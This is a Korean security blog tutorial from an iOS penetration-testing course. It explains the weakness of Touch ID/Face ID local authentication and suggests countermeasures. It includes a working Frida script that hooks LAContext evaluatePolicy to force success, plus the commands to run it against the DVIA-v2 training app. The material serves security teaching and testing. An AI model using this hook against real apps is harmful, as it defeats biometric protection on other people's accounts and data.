[iOS 취약점 진단] 15강 - 로컬 인증(Touch ID/Face ID) 우회

2023. 10. 30. 21:20·Mobile App 취약점 진단 · 모의해킹/iOS App 취약점 진단 · 모의해킹
728x90
반응형

아이폰·아이패드·iOS 취약점진단/모의해킹 무료 강의

 

가. 로컬 인증 우회 취약점이란?

1. 로컬 인증(Local Authentication) 정의

- 로컬인증(Local Authentication)은 디바이스 내부에 저장된 *자격증명을 기준으로 사용자를 인증하는 것을 말한다.

* 자격증명: 암호, 지문(Touch ID), 얼굴(Face ID) 등

- 로컬 인증을 앱에서 사용하기 위해 로컬 인증 프레임워크를 사용하여야 한다. 

2. 로컬 인증 프레임워크(LocalAuthentication.framework) 정의

- 생체인식(Touch ID/Face ID) 또는 설정한 암호를 사용하여 사용자를 인증한다.
- 보안을 위해 앱은 인증 데이터인 지문 등에 접근할 수 없으며, 인증성공 여부만 확인이 가능하다.

- 프레임워크는 Secure Enclave에게 인증하려는 이유를 알려주는 메시지을 제공해 주고, 인증 성공 또는 실패를 나타내는 bool 결과를 받게 된다.

https://developer.apple.com/documentation/localauthentication/

 

3. 로컬 인증 프레임워크 취약점

- 로컬 인증 프레임워크를 사용하면 애플에서 제공하는 LAContext 클래스의 evaluatePolicy 인스턴스 메소드를 사용하게 된다.

- evaluatePolicy 인스턴스 메소드는 성공 또는 실패를 나타내는 Boolean만 반환하기 때문에 쉽게 우회가 가능하다.

 

※ 앱은 로컬인증에서 회신하여주는 bool 값으로 인증여부를 판단하기 때문에, 로컬인증을 우회만으로 취약점을 말하기는 어렵다. 대신 디버깅 탐지, 탈옥 탐지, 무결성 검증을 하지 않았을 경우 이러한 문제가 발생할 수 있다고 예시를 들어줄 수는 있다.

 

나. 대응방법

- 아래의 글을 참고하여 탈옥 된 디바이스 실행 및 디버깅을 이용한 런타임 조작이 불가능하도록 디버깅 방지 기능을 적용한다.

[Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 12강 - 탈옥 탐지 우회(이론 및 대응방법)

 

[iOS App 진단] 12강 - 탈옥 탐지 우회(이론 및 대응방법)

가. 탈옥(Jailbreak) 이란? iOS의 샌드박스 제한을 풀어 서명되지 않은 코드를 실행할 수 있게 하는 것을 말함. 나. 탈옥된 기기에서 앱 실행을 차단해야하는 이유 탈옥된 기기에서의 사용자는 최고

hagsig.tistory.com

 

- 아래의 글을 참고하여 바이너리 파일이 변조되었을 경우 앱이 실행이 안되도록 한다.

[Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 11강 - 애플리케이션 패칭(앱 위·변조) 실습 1

 

[iOS App 진단] 11강 - 애플리케이션 패칭(앱 위·변조) 실습 1

가. 애플리케이션 패칭이란? - 애플리케이션 패칭(Application Patching)은 애플리케이션의 바이너리 파일이 영구적으로 변경되는 것을 말하며 애플리케이션 위·변조라고도 부른다. - 바이너리 파일

hagsig.tistory.com

 

다. DVIA-v2 앱을 통한 실습

1. Touch ID 등록

- 실습을 위해 디바이스에 Touch ID를 등록한다.

 

※ 만약 암호가 설정되어 있지 않다면 반드시 '암호 켜기'를 클릭하여 암호를 등록해 주어야 한다.

 

2. 분석 대상 앱 설치 및 실행

- 실습을 위해 DVIA-v2 앱을 설치한다.

 

※ DVIA-v2 어플이 설치되어있지 않은 사람은 아래의 글을 참고하여 앱을 설치하길 바란다.

2022.07.01 - [Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 04강 - 진단 대상 설치

 

[iOS App 진단] 04강 - 진단 대상 설치

iOS 앱 진단을 위해 설치 파일을 요청하면, 대개 아래 3가지 방법 중에 하나의 방법으로 전달해준다. 1. 앱 스토어를 통해 설치 이미 앱 개발이 완료되어 앱스토어에 등록되어 있을 경우, 앱스토어

hagsig.tistory.com

 

- 메인메뉴 좌측 상단 메뉴 클릭 → 'Touch/Face ID Bypass' 클릭 → 'START CHALLENGE' 클릭

 

- 화면 우측 "Swift Implementation", "Objective-C implementation"의 지문모양을 클릭한다.

- 지문인식 화면이 출력되며, 지문을 등록한 손가락이 아닌 다른 손가락으로 인증을 시도하면 인증실패 화면이 출력된다.

- 본글에서는 지문을 등록한 손가락이 아닌 다른 손가락으로 인증을 시도해도 인증이 성공하도록 해볼 것이다.

 

※ 만약 '암호 켜기', '지문 등록'을 모두 수행하였는데도 불구하고 아래와 같은 *오류가 계속 발생한다면 앱을 재실행하면 된다.

*오류 : Touch ID not available, Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device.

 

3. 프리다 코드 작성

- 아래의 링크에 접속하여 로컬인증을 우회하는 코드를 복사한 뒤 자바스크립트(javascript) 파일로 만든다.

- 파일 명 : hagsig_touchid.js

* 메모장에 아래의 코드를 입력한 뒤 확장자명을 .js로 저장하면 자바스크립트 파일이 만들어진다.

needle/needle/modules/hooking/frida/script_touch-id-bypass.py at master · WithSecureLabs/needle · GitHub

if(ObjC.available) {
    var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
    Interceptor.attach(hook.implementation, {
        onEnter: function(args) {
            send("Hooking Touch Id..")
            var block = new ObjC.Block(args[4]);
            const appCallback = block.implementation;
            block.implementation = function (error, value)  {
                const result = appCallback(1, null);
                return result;
            };
        },
    });
} else {
    console.log("Objective-C Runtime is not available!");
}

 

4. 로컬인증 우회 시도

- PC의 프리다 클라이언트를 이용하여 탈옥탐지 기능을 우회하고자 하는 앱의 이름을 알아낸다.

- 명령어 : frida-ps -Ua

* 앱의 이름 : DVIA-v2

frida-ps -Ua

 

- PC의 프리다 클라이언트를 이용하여 위에서 작성한 코드를 실행한다.

- 명령어 : frida -U -l [코드경로] [바이너리 파일 이름]

frida -U -l hagsig_touch.js DVIA-v2

 

- 화면 우측 "Swift Implementation", "Objective-C implementation"의 지문모양을 클릭한다.

- 지문인식 화면이 출력되며, 지문을 등록한 손가락이 아닌 다른 손가락으로 인증을 시도하면 인증성공 화면이 출력된다.

※ 인증 실패 화면이 출력되어도 계속해서 인증을 시도하면 성공했다는 알림이 출력된다.

 

라. 참고 URL

- evaluatePolicy 인스턴스 메소드에 관한 애플 공식 문서

evaluatePolicy(_:localizedReason:회신:) | Apple 개발자 문서

 

evaluatePolicy(_:localizedReason:reply:) | Apple Developer Documentation

Evaluates the specified policy.

developer.apple.com

 

- 로컬 인증 프레임워크에 관한 애플 공식 문서

https://developer.apple.com/documentation/localauthentication/

 

Local Authentication | Apple Developer Documentation

Authenticate users biometrically or with a passphrase they already know.

developer.apple.com

 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Mobile App 취약점 진단 · 모의해킹 > iOS App 취약점 진단 · 모의해킹' 카테고리의 다른 글

[iOS 취약점 진단] 16강 - Web View 종류 및 취약점  (0) 2023.11.04
스마트폰 와이어샤크 네트워크 패킷 캡처 방법 정리  (0) 2023.11.03
[iOS 취약점 진단] 14강 - IPC 취약점(URL Schemes)  (0) 2023.10.27
[iOS App 진단] 13강 - 런타임 조작(무차별대입공격)_실습4  (0) 2023.10.20
[iOS App 진단] 13강 - 런타임 조작(로그인/인증 우회)_실습3  (0) 2023.10.20
'Mobile App 취약점 진단 · 모의해킹/iOS App 취약점 진단 · 모의해킹' 카테고리의 다른 글
  • [iOS 취약점 진단] 16강 - Web View 종류 및 취약점
  • 스마트폰 와이어샤크 네트워크 패킷 캡처 방법 정리
  • [iOS 취약점 진단] 14강 - IPC 취약점(URL Schemes)
  • [iOS App 진단] 13강 - 런타임 조작(무차별대입공격)_실습4
학식(hagsig)
학식(hagsig)
정보보안을 배우고자 하는 모든 이들의 식당입니다. 모의해킹, 취약점 진단, 서버, 네트워크, 프로그래밍 등등 다양한 분야를 배우실 수 있습니다.
  • 학식(hagsig)
    학식 - 정보보안 전문 블로그
    학식(hagsig)
  • 전체
    오늘
    어제
  • 공지사항

    • 게시된 정보를 악용하여 발생하는 모든 책임은 사용자에게 있⋯
    • 무단 전재 및 재배포를 금지합니다.
    • 분류 전체보기 (301)
      • 교육정보 (15)
        • IT국비지원 (12)
        • 기업면접코칭 (3)
      • 인프라 취약점 진단 · 모의해킹 (24)
        • 윈도우 서버 진단 · 모의해킹 (22)
        • 리눅스 서버 진단 · 모의해킹 (2)
      • Mobile App 취약점 진단 · 모의해킹 (98)
        • AOS App 취약점 진단 · 모의해킹 (40)
        • iOS App 취약점 진단 · 모의해킹 (58)
      • 웹 취약점 진단 · 모의해킹 (3)
      • 클라우드 취약점 진단 · 모의해킹 (5)
        • AWS 취약점 진단 · 모의해킹 (0)
        • 컨테이너 보안 (5)
      • CS App 취약점 진단 · 모의해킹 (8)
      • AI 취약점진단 · 모의해킹 (8)
      • 산업 제어 시스템 진단 · 모의해킹 (0)
      • 침해 사고 대응 (15)
      • 디지털 포렌식 (2)
      • 자체개발 프로그램 (1)
        • TLS Security Checker (1)
      • IT 자격증 (26)
        • AWS 자격증 (11)
      • 프로그램 사용방법 (14)
      • 리눅스 (1)
      • 파이썬 (12)
      • 오류 해결 (2)
      • 잡학 지식 (41)
      • 코로나19 (12)
      • 학식 일상 (11)
        • 사진 (1)
        • 음악 (6)
        • 가게 정보 (3)
      • 제품 리뷰 (2)
  • 인기 글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
학식(hagsig)
[iOS 취약점 진단] 15강 - 로컬 인증(Touch ID/Face ID) 우회
상단으로

티스토리툴바